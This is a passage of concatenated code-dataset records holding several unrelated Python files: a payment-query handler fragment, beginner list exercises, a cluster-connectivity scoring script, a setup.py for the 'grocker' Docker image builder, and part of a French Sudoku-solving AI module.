connect_timeout=10, request_timeout=10)\n\n res = await utils.fetch(http_client, request)\n res = json.loads(bytes(res.body).decode())\n logging.info(res)\n\n if utils.is_success_pay('wx', res):\n # 支付成功\n IOLoop.current().add_timeout(1, self.after_pay, order)\n # await self.after_pay(order)\n return res\n except Exception as e:\n logging.error(e)\n if loop > 0:\n IOLoop.current().add_timeout(query_delay(), self.pay_query, order_id, loop=loop-1)\n raise utils.APIError(errcode=19004)\n\n if loop > 0:\n IOLoop.current().add_timeout(query_delay(), self.pay_query, order_id, loop=loop-1)\n\n return res\n\n async def get(self):\n '''前端支付后,由前端主动来调查询订单是否成功'''\n try:\n order_id = self.get_argument('order_id')\n except Exception as e:\n logging.error(e)\n raise utils.APIError(errcode=10001)\n\n res = await self.pay_query(order_id)\n is_pay = 1 if utils.is_success_pay('wx', res) else 0\n return self.send_json({'is_pay': is_pay})\n","sub_path":"handler/share_order.py","file_name":"share_order.py","file_ext":"py","file_size_in_byte":8525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"495204442","text":"'''\r\n12. Написати програму циклічного зсуву елементів списку вліво. Наприклад, дано список:\r\n[1,2,3,4,5,6] після зсуву на один елемент вліво, повинні отримати: [2,3,4,5,6,1].\r\n'''\r\n\r\nlst = input(\"Введите значения через пробел : \")\r\nn = int(input (\"Введите на сколько эл. будет сдвиг : \"))\r\ni = len(lst) - n\r\nlst2 = lst[-i:] + lst[:-i]\r\nprint(lst2)","sub_path":"Lab/Lab4/Lab4.2.py","file_name":"Lab4.2.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"630927664","text":"\"\"\"\r\n\r\nIt is a program which revers the given list\r\n-->1 with built function reverse()\r\n-->2 string slicing\r\n-->3 swap the 1 and last and the 2nd 2nd last and up to soon\r\n\r\n\"\"\"\r\nnum=int(input(\"Enter the number of which you want to input\"))\r\nlist=[]\r\nfor i in range(1, num+1): # for getting list nunmber from users\r\n print(\"Enter Number\",i)\r\n n=int(input())\r\n list.append(n)\r\nprint(list)\r\nr=list[:] # here i store the copy of list here if i not store then it will not reverse the list\r\nr.reverse()\r\nprint(f\"reversed first list is {r}\")\r\n\r\nprint(f\"the second reverse list {list[::-1]}\") # it is used to reverse see in string slicing\r\n\r\nr1=list[:]\r\n\r\nfor i in range(len(list)//2): # here is used // it run the loop half if we not give this it will not reverse our list\r\n #beacuse it will re arrange the list as it was input\r\n r1[i], r1[len(list) - i -1] = r1[len(list) - i -1] ,r1[i]\r\n # it will changge from 1st indx and the last index -i and - 1\r\nprint(f\"third list is {r1}\")\r\n\r\n\r\n\r\n","sub_path":"Practice Problem 3 reverse given list.py","file_name":"Practice Problem 3 reverse given list.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"434779676","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 3 11:55:36 2018\n\n@author: wangyf\n\"\"\"\n\nimport numpy as np\n\n\nNN1_edges1 = [(0, 1), (0, 2), (0, 6), (0, 10), (0, 11), (0, 14), (0, 20), (0, 21), \n (0, 23), (0, 27), (0, 28), (0, 29), (1, 2), (1, 3), (1, 6), (1, 7), \n (1, 21), (1, 24), (1, 29), (2, 3), (2, 4), (2, 5), (2, 14), (2, 18), \n (2, 19), (2, 21), (2, 27), (3, 5), (3, 19), (4, 5), (4, 13), (4, 14), \n (4, 18), (5, 19), (6, 7), (6, 8), (6, 9), (6, 11), (6, 23), (6, 24), \n (6, 26), (6, 29), (7, 9), (7, 24), (8, 9), (8, 11), (8, 16), (8, 25), \n (8, 26), (9, 26), (10, 11), (10, 12), (10, 14), (10, 15), (10, 20), \n (10, 22), (10, 28), (11, 12), (11, 16), (11, 22), (11, 23), (11, 25), \n (11, 28), (12, 16), (12, 22), (13, 14), (13, 15), (13, 17), (14, 15), \n (14, 17), (14, 18), (14, 20), (14, 27), (15, 17), (16, 25), (17, 18), \n (17, 20), (18, 19), (18, 20), (18, 21), (18, 27), (18, 30), (19, 21), \n (20, 21), (20, 22), (20, 23), (20, 27), (20, 28), (20, 30), (20, 31), \n (20, 34), (21, 23), (21, 24), (21, 27), (21, 29), (21, 30), (21, 32), \n (21, 34), (22, 23), (22, 25), (22, 28), (22, 31), (23, 24), (23, 25), \n (23, 26), (23, 28), (23, 29), (23, 31), (23, 32), (23, 33), (23, 34), \n (24, 26), (24, 29), (24, 32), (25, 26), (25, 33), (26, 33), (27, 28), \n (27, 29), (27, 30), (27, 34), (28, 29), (28, 31), (28, 34), (29, 32), \n (29, 34), (30, 31), (30, 32), (30, 34), (30, 35), (31, 32), (31, 33), \n (31, 34), (31, 35), (32, 33), (32, 34), (32, 35), (34, 35)]\n\ndef inverse_ab(ab):\n a = ab[0]\n b = ab[1]\n return (b,a)\n\nNN1_edges2 = []\nfor edge in NN1_edges1:\n NN1_edges2.append(inverse_ab(edge))\n \nNN1_edges = NN1_edges1 + NN1_edges2\n \n\n#%% \n#def get_possible_edges(nodes):\n# \n# edges = []\n# nn = len(nodes) \n# for i in range(nn):\n# for j in np.arange(i+1,nn):\n# edges.append((nodes[i],nodes[j]))\n# return edges\n# \n#def get_edge_score(edges):\n# \n# count = 0\n# for edge in edges:\n# if edge in NN1_edges: count = count+1\n# ratio = count/len(edges)\n# \n# return ratio\n#\n#\n#\n#def connect_score(occ_nodes):\n# \n# occ_edges = get_possible_edges(occ_nodes)\n# score = get_edge_score(occ_edges)\n# \n# return 1-score\n\ndef connect_score_2(occ_nodes):\n \n count = 0\n connected_edges = []\n \n for i, nodei in enumerate(occ_nodes):\n nNN1 = 0 \n edges = []\n for j,nodej in enumerate(occ_nodes):\n if not nodei == nodej: edges.append((nodei, nodej))\n for edge in edges:\n if edge in NN1_edges: \n nNN1 = nNN1+1 \n connected_edges.append(edge)\n \n if nNN1 >= 3: count = count +1 \n \n connected_edges_array = np.array(connected_edges)\n repeated_nodes_array = np.reshape(connected_edges_array,connected_edges_array.size)\n unique_nodes, node_edge_counts = np.unique(repeated_nodes_array, return_counts=True)\n node_edge_counts = node_edge_counts/2\n # each node should have more than two edges at the same time\n # nodes indices with more than 2 edges\n edge2_nodes = np.where(node_edge_counts >= 2)[0]\n # nodes indices with more than 3 edges\n edge3_nodes = np.where(node_edge_counts >= 3)[0]\n # nodes indices with more than 4 edges\n edge4_nodes = np.where(node_edge_counts >= 4)[0]\n\n # nodes with less than 2 edges, need to be minimized \n n1_nodes = len(occ_nodes) - len(edge2_nodes)\n # nodes with less than 3 edges, need to be minimized \n n2_nodes = len(occ_nodes) - len(edge3_nodes)\n # nodes with less than 4 edges, need to be minimized \n n3_nodes = len(occ_nodes) - len(edge4_nodes)\n\n# if edges == []: score = 0\n# else: score = 1- count/len(edges)\n #print(nodes_counts)\n \n '''\n score based on where atom is in the cluster\n '''\n nodes_array = np.array(occ_nodes)\n nodes_array = np.array(occ_nodes)\n nl1 = len(np.where(nodes_array <= 17)[0])\n nl2 = len(np.where(np.logical_and(nodes_array > 17,nodes_array <= 30))[0])\n nl3 = len(np.where(np.logical_and(nodes_array > 30,nodes_array <= 35))[0])\n nl4 = len(np.where(nodes_array > 35)[0]) \n score = np.dot(np.array([0, 1, 2, 3]), np.array([nl1, nl2, nl3, nl4]))\n\n \n return n1_nodes, n2_nodes, n3_nodes, score\n\n \nocc_nodes = [0,1,2,21,10,9]\nind = np.zeros(36)\nind[occ_nodes] = 1 \n\n\n\n#GA.ase_object(ind)\n#score2,n_isolated_nodes = connect_score_2(occ_nodes)\n\n\n","sub_path":"Cluster-Expansion/v2_no_intercept/test_connectivity_fitness.py","file_name":"test_connectivity_fitness.py","file_ext":"py","file_size_in_byte":4621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"641622977","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (c) Polyconseil SAS. All rights reserved.\nfrom setuptools import setup, find_packages\n\n\ndef read(filename):\n with open(filename) as f:\n return f.read()\n\n\nsetup(\n name='grocker',\n version='5.1.dev0',\n description=\"Docker image builder\",\n long_description=read('Readme.rst'),\n keywords='docker build packaging',\n url='http://github.com/polyconseil/grocker',\n author='Polyconseil',\n author_email='opensource+grocker@polyconseil.fr',\n packages=find_packages(where='src', exclude=('tests', 'docs')),\n package_dir={'': str('src')},\n include_package_data=True,\n zip_safe=True,\n install_requires=[\n 'click',\n 'docker>=2.0.2',\n 'Jinja2',\n 'setuptools>=18.0.1',\n 'pip>=7.1.2',\n 'pyyaml>=3.11',\n 'packaging',\n ],\n extras_require={\n \":python_version == '2.7'\": [\n 'enum34',\n ],\n },\n license='BSD',\n classifiers=[\n 'Development Status :: 5 - Production/Stable',\n 'Environment :: Console',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Natural Language :: English',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Topic :: Software Development :: Build Tools',\n 'Topic :: System :: Software Distribution',\n ],\n entry_points={\n 'console_scripts': (\n 'grocker = grocker.__main__:main',\n ),\n },\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"164629352","text":"'''Le module sudothinkai contient la classe SudoThinkAI.\nThinkAI est la classe qui encapsule la simulation d'intelligence. Celle-ci va\npermettre au joueur simulé de choisir comment il poursuit sa résolution, en\ncherchant de l'information dans la grille et en sélectionnant les techniques\nles plus appropriées en fonction de l'état présent de la grille et d'un\n\"savoir-faire\" de résolution, éventuellement sujet à de l'apprentissage.\nC'est ici que sera évalué la décision d'abandon si aucune technique ne permet\nde faire de nouveau placement.\n\nDans la classe SudoAI, contrairement à toutes les autres classes du programme,\nl'information utilisée dans la résolution est considérée comme un savoir\npermanent, non sujet à l'obsolescence de la mémoire de travail. C'est le\nsavoir-faire du joueur, sa capacité globale à \"jouer au Sudoku\".\n\nHistorique des mises-à-jour :\n06/12/2017 - Les règles de décision sont totalement importées du module\n'sudoai' et les autres imports directs de code d'enchaînement de techniques sont\nsupprimés. Cette architecture est conçue pour rester à long terme.\n21/11/2017 - Les classes dérivent de la classe de base SudoBaseClass et\nutilisent les contextes d'environnement et de test liés fournis par cette classe.\nL'import du module 'sudotest' est supprimé. Cette architecture est définitive.\n21/11/2017 - Les imports sont mis à jour comme dans tous les autres modules\npour exécuter ce module isolément, depuis l'intérieur du dossier 'sudosimu'ou\ndepuis d'extérieur sous forme de package.\n22/10/2017 - Déport dans un sous-module de la fonction qui propose une\ntechnique. Le code de suggestAction() est déporté dans cette fonction. De cette\nmanière il est simple (dans la phase de développement) de modifier la\nstratégie de résolution sans toucher au code générique.\n'''\n\n\n#exécution interne au package\nif __name__ in (\"__main__\", \"sudothinkai\"):\n import sudobaseclass as base\n import sudoenv\n import sudoui as ui\n import sudorules as rules\n from sudorules import Sudoku_Error\n from sudomemory import SudoMemory\n import sudoai as ai\n from sudotechimports import *\n#exécution depuis l'extérieur du package sudosimu\nelif __name__ == \"sudosimu.sudothinkai\":\n from sudosimu import sudobaseclass as base\n from sudosimu import sudoenv\n from sudosimu import sudoui as ui\n from sudosimu import sudorules as rules\n from sudosimu.sudorules import Sudoku_Error\n from sudosimu.sudomemory import SudoMemory\n from sudosimu import sudoai as ai\n from sudosimu.sudotechimports import *\nelse:\n raise Exception(\"Impossible de faire les imports dans le module sudothinkai.\")\n\n#OBSOLETE\n#from sudosimu.sudothinktech import SudoThinkTech\n\n##Dictionnaire d'identification des techniques\n##ATTENTION : les noms de techniques doivent être les mêmes que ceux connus\n##par SudoAI dans sudoai.py\nTechDict = { \"techchrcga\", TechChRCgridAll, \\\n \"techlplcg\", TechLastPlcGrid, \\\n \"techlplcp\", TechLastPlcPlace\n }\n\n\nclass SudoThinkAI(base.SudoBaseClass):\n '''Cette classe regroupe les méthodes qui réalisent la réflexion du\n joueur et choisissent la prochaine action à réaliser.\n '''\n\n def __init__(self, mem, know=None, \\\n env=None, testlevel=sudoenv.TEST_THINKAILEVEL):\n '''Initialisations, notamment les variables de classe qui représentent\n le savoir-faire de résolution non incluses dans la mémoire de travail.\n Le paramètre optionnel 'know' décrit la connaissance technique et\n tactique de résolution de Sudoku qu'a le joueur.\n '''\n #init de la classe racine\n assert isinstance(env, sudoenv.SudoEnv) or env is None\n assert isinstance(testlevel, int) and testlevel>=0 \\\n or testlevel is None\n #reprendre un précédente niveau de test s'il existe déjà\n oldlev = env.testLevel(\"thinkai\")\n if oldlev is not None and testlevel != oldlev:\n testlevel = oldlev\n base.SudoBaseClass.__init__(self, env=env, \\\n testlabel=\"thinkai\", testlevel=testlevel)\n #ok init de cette classe\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"SudoThinkAI - Dans __init__()\")\n TEST.display(\"thinkai\", 1, \"Création de l'intelligence artificielle.\")\n assert isinstance(mem, SudoMemory)\n self._mem = mem\n assert know is None or isinstance(know, SudoKnowledge)\n self._know = know\n #init du système de décision AI\n self._initAI()\n #init de la pile des techniques en cours\n self._initTechPile()\n #gestion de la vérification de fin de partie\n self._gridChecked = False #état de la grille inconnu au début\n self._checkingGrid = False\n self._gridCompleted = False\n #gestion du cycle de résolution (test)\n self._step = 1\n self._nbtotplc = 0 #nombre total de placements de la résolution\n self._nbplcloop = 0 #nombre de placements sur la boucle en cours\n self._nbplc = 0 #nombre de placements de la technique en cours\n\n self._initOk = True\n if TEST.ifLevel(\"thinkai\", 3) is True:\n self._dispVariables()\n return\n\n def _initAI(self):\n '''Initialisation du système de décision et mise en place des\n données d'avancement pour le début de résolution.\n '''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI - Dans _initAI()\")\n #créer du système de décision SudoAI\n try:\n self._ai = ai.SudoAI(self._mem, env=self._env)\n #récupérer le dictionnaire de données\n self._aiData = self._ai.data\n except:\n raise Sudoku_Error(\"Dans SudoThinkAI._initAI() : \"\\\n \"Impossible d'initialiser le système AI\")\n #données d'avancement de la résolution\n self._begin = True #True si c'est le début de résolution\n self._techNiv = 0 #Niveau d'empilement de techniques\n #ATTENTION : AMELIORER la définition de techNivMax (knowledge)\n self._techNivMax = 2 #Niveau max d'empilement acceptable\n self._inTech = False #True si une technique est en cours\n self._opport = False #True si une recherche d'opportunité est en cours\n #technique en cours\n self._tech = None #code de la technique en cours\n self._techInst = None #instance de la technique en cours\n self._techName = None #Nom de la technique en cours\n #précédente tech de même niveau\n self._lastTech = None #code de la préc. tech. de même niveau\n self._lastTechName = None #Nom de la préc. tech. de même niveau\n #tech de niveau inférieur (active)\n self._techNivInf = None\n self._techNivInfInst = None\n self._techNivInfName = None\n #précédente tech de niveau inférieur\n self._lastTechNivInf = None #Inst. préc.tech. de niveau inférieur\n self._lastTechNivInfName = None #Nom. préc.tech. de niveau inférieur\n #actions\n self._lastAction = None #Dernière action exécutée\n self._lastTechAction = None #Dernière action exécutée par une tech\n self._lastAIaction = None #Dernière action exécutée pra l'AI\n\n def decideAction(self):\n '''Indique la prochaine action à effectuer. Il peut s'agir de\n l'application d'une technique de résolution, ou bien d'une observation\n de la grille, d'un placement, ou de l'indication que la résolution est\n terminée pour diverses raisons.\n Retourne un tuple indiquant l'action et des arguments complémentaires.\n '''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI : méthode decideAction()\")\n assert self._initOk\n\n #Suivre le processus de vérification de grille s'il est commencé\n if self._checkingGrid is True:\n r = self._gridCheckingProcess()\n if r is not None:\n return r\n\n###### VERSION DE TEST DU MODULE techlplcp\n## Dans cette version, sudothinkai créée une instance de TechLastPlcPlace\n## et retourne toujours cette instance sans interroger AI.\n## \n## if self._techInst is None:\n## TEST.display(\"thinkai\", 3, \"ThinkAI - VERSION DE TEST - \"\\\n## \"Création d'une instance de TechLastPlcPlace pour \"\\\n## \"la case (7,9)\")\n## inst = self._newTechInst(TechLastPlcPlace, (7,9))\n## self._techInst = inst\n## return(\"tech\", (inst, \"insert\"))\n## else:\n## TEST.display(\"thinkai\", 3, \"ThinkAI - VERSION DE TEST - \"\\\n## \"Suite de la même instance de TechLastPlcPlace.\")\n## return (\"tech\", (self._techInst, \"same\"))\n## \n##################\n \n #Interroger le système de décision\n if TEST.ifLevel(\"thinkai\", 3) is True:\n self._dispVariables()\n self._makeDataSet()\n try:\n suggestion = self._ai.suggest()\n except:\n raise Sudoku_Error(\"SudoThinkAI.decideAction() : \"\\\n \"Erreur en appelant SudoAI.suggest()\")\n\n #analyser la réponse\n TEST.display(\"thinkai\", 3, \"Retour à ThinkAI.decideAction()\")\n su = suggestion[0]\n TEST.display(\"thinkai\", 3, \"decideAction() - La suggestion AI est : \"\\\n \"{0}\".format(su))\n if su == \"continue\":\n #continuer la technique en cours - rien à changer\n TEST.display(\"thinkai\", 3, \"SudoThinkAI.decideAction() - Décision \"\\\n \" = continuer la technique en cours.\")\n action = (\"tech\", (self._techInst, \"same\"))\n elif su == \"check\":\n #vérifier si la grille est remplie\n TEST.display(\"thinkai\", 3, \"SudoThinkAI.decideAction() - Décision \"\\\n \"= vérifier si la grille est terminée.\")\n action = self._startGridChecking()\n elif su == \"start_tech\":\n #insérer une nouvelle technique\n TEST.display(\"thinkai\", 3, \"SudoThinkAI.decideAction() - Décision \"\\\n \" = insérer la technique \\\"{0}\\\".\".format(suggestion[1]))\n TEST.display(\"thinkai\", 1, \"AI : Lancement d'une nouvelle technique \"\\\n \"de résolution : \\\"{0}\\\".\".format(self._techName))\n action = self._startTech(suggestion[1])\n elif su == \"discard_tech\":\n #arrêter la technique en cours\n TEST.display(\"thinkai\", 3, \"SudoThinkAI.decideAction() - Décision \"\\\n \"= arrêter la technique en cours.\")\n TEST.display(\"thinkai\", 1, \"AI : Arrêt de la technique de \"\\\n \"résolution \\\"{0}\\\".\".format(self._techName))\n action = self._discardTech()\n elif su == \"discard_all\":\n #arrêter toutes les techniques en cours\n TEST.display(\"thinkai\", 3, \"SudoThinkAI.decideAction() - Décision \"\\\n \"= arrêter toutes les technique en cours.\")\n TEST.display(\"thinkai\", 1, \"AI : Arrêt de toutes les techniques \"\\\n \"de résolution en cours.\")\n action = self._discardAll()\n elif su == \"abort_tech\":\n TEST.display(\"thinkai\", 3, \"SudoThinkAI.decideAction() - Décision \"\\\n \"= abandonner la technique en cours.\")\n TEST.display(\"thinkai\", 1, \"AI : Abandon de la technique de \"\\\n \"résolution : {0}.\".format(self._techName))\n action = self._abortTech()\n elif su == \"abort_all\":\n TEST.display(\"thinkai\", 3, \"SudoThinkAI.decideAction() - Décision \"\\\n \" abandon de toutes les techniques en cours.\")\n action = self._abortAllTechs()\n TEST.display(\"thinkai\", 1, \"AI : Abandon de toutes les techniques \"\\\n \"de résolution en cours.\")\n else:\n #ne devrait pas arriver\n raise Sudoku_Error(\"SudoThinkAI.decideAction() : \"\\\n \"erreur dans le retour de suggestion de SudoAI.\")\n\n #dans tous les cas la résolution n'en est plus au début\n self._begin = False\n #TEST : affichage des nouvelles données de résolution en cours\n if TEST.ifLevel(\"thinkai\", 3) is True:\n TEST.display(\"thinkai\", 3, \"ThinkAI - Nouvelles données de \"\\\n \"résolution :\")\n self._dispVariables()\n #TEST : pause de vérification des données\n TEST.pause(\"thinkai\", 4)\n TEST.display(\"thinkai\", 3, \"SudoThinkAI - Décision retournée = {0}. \"\\\n .format(action))\n return action\n\n def _startTech(self, suggested):\n '''Lancement d'une nouvelle technique et insertion dans la pile de\n techniques en cours.\n '''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI : dans _startTech()\")\n assert self._initOk\n\n #instancier la technique suggérée\n if suggested == \"techchrcga\":\n #la tech ChRCgridAll ne prend pas d'argument\n TEST.display(\"thinkai\", 3, \"ThinkAI - Nouvelle instance de technique \"\\\n \"TechChRCgridAll.\")\n inst = self._newTechInst(TechChRCgridAll, None)\n elif suggested == \"techlplcg\":\n #la tech LastPlcGrid ne prend pas d'argument\n TEST.display(\"thinkai\", 3, \"ThinkAI - Nouvelle instance de technique \"\\\n \"TechLastPlcGrid.\")\n inst = self._newTechInst(TechLastPlcGrid, None)\n elif suggested == \"techlplcp\":\n #la tech LastPlcPlace prend comme argument la case où a été\n #fait le placement précédent\n (row, col, val) = self._mem.recall(\"ai_lastplacement\", self)\n inst = self._newTechInst(TechLastPlcPlace, (row, col))\n\n #mettre à jour les données d'avancement de la résolution en cours\n self._begin = False\n self._inTech = True\n self._techNiv += 1\n self._opport = True if self._techNiv >= 2 else False\n #pas encore d'action dans la nouvelle technique\n self._lastAction = None\n self._lastTechAction = None\n #tech active de niveau inférieur\n self._techNivInf = self._tech\n self._techNivInfInst = self._techInst\n self._techNivInfName = self._techName\n #précédente tech de niveau inférieur\n self._lastTechNivInf = self._lastTech\n self._lastTechNivInfName = self._lastTechName\n #nouvelle technique en cours\n self._tech = suggested\n self._techInst = inst\n self._techName = inst.techName()\n self._lastTech = None\n \n #Retour vers Thinking = insertion de la nouvelle technique\n return (\"tech\", (self._techInst, \"insert\"))\n \n \n def _discardTech(self):\n '''Abandon de la technique en cours. Dépilement et retour à la tech\n précédente s'il y en a une.\n '''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI : dans _discardTech()\")\n assert self._initOk\n #vérifications de cohérence\n assert self._techNiv > 0\n assert self._tech is not None\n #supprimer l'instance de la technique abandonnée\n del(self._techInst)\n #dépiler\n\n #mettre à jour les données d'avancement de la résolution en cours\n self._techNiv -= 1\n self._inTech = True if self._techNiv > 0 else False\n self._opport = True if self._techNiv >= 2 else False\n #précédente tech de même niveau = celle qui se termine\n self._lastTech = self._tech\n self._lastTechName = self._techName\n #technique en cours = la précédente de niveau inférieur\n self._tech = self._techNivInf\n self._techInst = self._techNivInfInst\n self._techName = self._techNivInfName\n #tech de niveau inférieur (active)\n self._techNivInf = None\n self._techNivInfInst = None\n self._techNivInfName = None\n #précédente tech de niveau inférieur\n self._lastTechNivInf = None \n self._lastTechNivInfName = None \n #actions\n self._lastAction = None \n self._lastTechAction = None \n self._lastAIaction = None \n\n #l'action précédente est maintenant celle de la technique de niveau\n #inférieur s'il y en avait une, c-à-d le \"place\" qui avait déclenché\n #l'imbrication\n if self._techNiv >= 1:\n self._lastAction = \"place\"\n self._lastTechAction = \"place\"\n else:\n self._lastAction = None\n self._lastTechAction = None\n\n #Retour vers thinking = reprendre la technique de niveau inférieur\n #s'il y en avait une, sinon passer à l'itération suivante\n if self._techInst is not None:\n action = (\"tech\", (self._techInst, \"revert\"))\n else:\n action = (\"continue\", None)\n return action\n \n def _discardAll(self):\n '''Arrêt de toutes les techniques en cours et retour au niveau 0. La\n pile d'imbrication est alors vide.\n '''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI : dans _discardAll()\")\n TEST.display(\"thinkai\", 3, \"METHODE A ECRIRE\")\n assert self._initOk\n raise Sudoku_Error(\"_discardAll() n'existe pas encore.\")\n\n\n def _abortAllTechs(self):\n '''Lancement d'une nouvelle technique et insertion dans la pile de\n techniques en cours.\n '''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI : dans _abortAllTechs()\")\n TEST.display(\"thinkai\", 3, \"METHODE A ECRIRE\")\n assert self._initOk\n raise Sudoku_Error(\"_abortAllTechs() n'existe pas encore.\")\n\n def _newTechInst(self, techClass, techArgs=None):\n '''Crée une nouvelle instance de la technique indiquée et l'initialise.\n '''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI - dans _newTechInst()\")\n TEST.display(\"thinkai\", 3, \"ThinkAI - Création d'une instance de la \"\\\n \"classe {0}\".format(techClass.techClassName()))\n assert self._initOk\n#### ATTENTION à faire une meilleure gestion d'erreur ici\n try:\n tech = techClass(self._mem, techArgs)\n except:\n raise Sudoku_Error(\"SudoThinkAI._newTechInst() : \"\\\n \"Erreur instanciation de tech de résolution.\")\n TEST.display(\"thinkai\", 3, \"Retour à ThinkAI._newTechInst\")\n if tech is None:\n raise Sudoku_Error(\"SudoThinkAI._newTechInst() : \"\\\n \"Erreur instanciation de tech de résolution.\")\n return tech\n\n def _makeDataSet(self):\n '''Remplissage du dictionnaire de données qui sera utilisé par le\n système de décision.\n '''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI - dans _makeDataSet()\")\n#### TODO : REMPLACER LES VARIABLES D'INSTANCE PAR DES DONNEES MEMOIRE \n self._aiData[ai.AIDATA_BEGIN] = self._begin\n self._aiData[ai.AIDATA_NIV] = self._techNiv\n self._aiData[ai.AIDATA_NIVMAX] = self._techNivMax\n self._aiData[ai.AIDATA_INTECH] = self._inTech\n self._aiData[ai.AIDATA_OPPORT] = self._opport\n self._aiData[ai.AIDATA_GRIDCHECKED] = self._gridChecked\n self._aiData[ai.AIDATA_TECH] = self._tech\n self._aiData[ai.AIDATA_LTECH] = self._lastTech\n self._aiData[ai.AIDATA_LACT] = self._lastAction\n self._aiData[ai.AIDATA_LTECHACT] = self._lastTechAction\n self._aiData[ai.AIDATA_LAIACT] = self._lastAIaction\n return\n\n def _dispVariables(self):\n '''Affichage des variables d'avancement de la résolution.'''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI - Variables d'avancement \"\\\n \"de la résolution :\")\n TEST.display(\"thinkai\",3, \"_begin = {0}\".format(self._begin))\n TEST.display(\"thinkai\",3, \"_techNiv = {0}\".format(self._techNiv))\n TEST.display(\"thinkai\",3, \"_techNivMax = {0}\".format(self._techNivMax))\n TEST.display(\"thinkai\",3, \"_inTech = {0}\".format(self._inTech))\n TEST.display(\"thinkai\",3, \"_opport = {0}\".format(self._opport))\n TEST.display(\"thinkai\",3, \"_tech = {0}\".format(self._tech))\n TEST.display(\"thinkai\",3, \"_lastTech = {0}\".format(self._lastTech))\n TEST.display(\"thinkai\",3, \"_lastAction = %s\" %(self._lastAction))\n TEST.display(\"thinkai\",3, \"_lastTechAction = %s\" %(self._lastTechAction))\n TEST.display(\"thinkai\",3, \"_gridChecked = %s\" %(self._gridChecked))\n TEST.display(\"thinkai\",3, \"_gridCompleted = %s\" %(self._gridCompleted))\n TEST.display(\"thinkai\",3, \"_checkingGrid = %s\" %(self._checkingGrid))\n return\n\n ##GESTION DE LA PILE DE TECHNIQUES EN COURS\n ##-----------------------------------------\n\n #Utilisation d'une liste en LIFO avec append() et pop()\n def _initTechPile(self):\n '''Crée la pile des techniques en cours, initialement vide.'''\n self._techNiv = 0\n self._techPile = list()\n return\n\n def _techPilePush(self, tech):\n self._techPile.append(tech)\n self._techNiv +=1\n return\n\n def _techPilePop(self):\n try:\n self._techPile.pop()\n except IndexError:\n raise Sudoku_Error(\"SudoAI : erreur de dépilement de la pile \"\\\n \"des techniques en cours.\")\n self._techNiv -= 1\n return\n\n def _techPileGet(self):\n if len(self._techPile) == 0:\n return None\n else:\n return self._techPile[-1] #dernier élément\n\n ##VERIFICATION DE FIN DE GRILLE\n ##-----------------------------\n def _gridCheckingProcess(self):\n '''Process de vérification de grille terminée. Il se passe en trois\n étapes : d'abord le lancement de la vérification, puis la méthode\n callback est appelée avec le résultat, puis test du résultat.\n '''\n \n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"Thinkai - dans _gridCheckingProcess()\")\n assert self._initOk\n if self._checkingGrid is True:\n TEST.display(\"thinkai\", 3, \"ThinkAI - Itération après vérification \"\\\n \"de la grille :\")\n if self._gridCompleted is True:\n TEST.display(\"thinkai\", 3, \"ThinkAI - Grille terminée.\")\n return self._winResult()\n #La grille n'est pas en vérification ou n'est pas terminée\n TEST.display(\"thinkai\", 3, \"ThinkAI - La grille n'est pas terminée.\")\n self._gridCompleted = False\n self._checkingGrid = False\n self._gridChecked = True\n if TEST.ifLevel(\"thinkai\", 3) is True:\n self._dispVariables()\n return None\n \n def _startGridChecking(self):\n '''Lancement d'une vérification de fin de grille.'''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI - Dans _startGridChecking()\")\n assert self._initOk\n TEST.display(\"thinkai\", 3, \"ThinkAI - Retour \\\"check\\\" pour \"\\\n \"vérification de la grille.\")\n self._checkingGrid = True\n self._gridCompleted = False\n####\n TEST.pause(\"thinkai\", 4)\n \n return (\"check\", None)\n\n #callback\n def checkCompleted(self, checked):\n '''Retour d'une vérification de grille terminée.'''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI - Méthode checkCompleted()\")\n assert self._initOk\n TEST.display(\"thinkai\", 3, \"ThinkAI - Retour de vérification de \"\\\n \"grille terminée : {0}\".format(checked))\n self._gridCompleted = checked\n self._mem.memorize(\"ai_grid_completed\", checked, self)\n####\n TEST.pause(\"thinkai\", 4)\n \n return (\"continue\", None)\n \n \n ##METHODES CALL-BACK DE RETOUR DES ACTIONS\n ##----------------------------------------\n #callback\n def aiObsResult(self, pattern, found):\n '''Retour d'une observation demandée par ThinkAI. Le retour contient\n l'information recherchée (pattern) et le résultat (found), qui sont\n alors mémorisés par le joueur.\n '''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI - Méthode aiObsResult()\")\n assert self._initOk\n TEST.display(\"thinkai\", 3, \"ThinkAI - retour d'observation : {0}\" \\\n .format(found))\n #mémorise l'observation et son résultat\n self._mem.memorize(\"ai_lastobspattern\", pattern, self)\n self._mem.memorize(\"ai_lastobsfound\", found, self)\n self._lastAction = \"observe\"\n self._lastAIaction = 